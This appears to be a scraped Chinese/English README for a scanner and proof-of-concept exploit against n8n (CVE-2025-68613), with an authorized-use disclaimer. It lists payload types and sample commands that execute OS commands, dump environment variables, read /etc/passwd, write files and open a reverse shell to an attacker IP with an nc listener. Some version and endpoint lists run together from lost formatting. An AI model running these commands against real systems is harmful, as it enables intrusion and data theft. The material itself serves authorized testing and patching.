该工具包提供了针对 n8n 工作流自动化平台 上关键漏洞 CVE-2025-68613 的 扫描器与 PoC 利用脚本。
此仓库提供了针对 CVE-2025-68613 漏洞(影响 n8n 工作流自动化平台)的 扫描器与 PoC 利用脚本。
此工具 仅 用于 合法且已获授权 的安全测试。 禁止在未经所有者许可的情况下将此工具用于任何系统。
This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # 漏洞扫描器(无利用功能)
├── tot-exploit-2025-68613.py # 已认证的远程代码执行利用 PoC
├── requirements.txt
└── README.md
扫描器用于:
The scanner:
扫描器会检查以下端点:
//rest/settings/healthz/api/v1/health所需包:
文件 requirements.txt 的内容:
requests>=2.28.0
Required packages:
requirements.txt content:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| 退出码 | 含义 |
|---|---|
| 0 | 不受影响 |
| 1 | 版本未知 |
| 2 | 受影响 |
此利用需要有效的 n8n 凭据。
需要已认证的访问权限。
利用步骤如下:
Set 节点中注入恶意表达式| 参数 | 必需 | 说明 |
|---|---|---|
-u / --url | ✅ | 目标 n8n URL |
-e / --email | ✅ | n8n 账户邮箱 |
-p / --password | ✅ | n8n 账户密码 |
--payload | ✅ | 载荷类型 |
--command | ❌ | 操作系统命令(cmd) |
--file | ❌ | 文件路径(read/write) |
--content | ❌ | 文件内容(write) |
--lhost | ❌ | 攻击者 IP(revshell) |
--lport | ❌ | 攻击者端口(revshell) |
--verify-ssl | ❌ | 验证 SSL 证书 |
| 载荷 | 功能 |
|---|---|
info | 系统信息 |
cmd | 命令执行 |
env | 环境变量转储 |
read | 读取文件 |
write | 写入文件 |
revshell | 反弹 Shell |

python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/* 端点的访问本项目仅供 教育和已授权安全测试 使用。
作者 不对任何滥用行为负责。
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
遵守法律,遵守道德。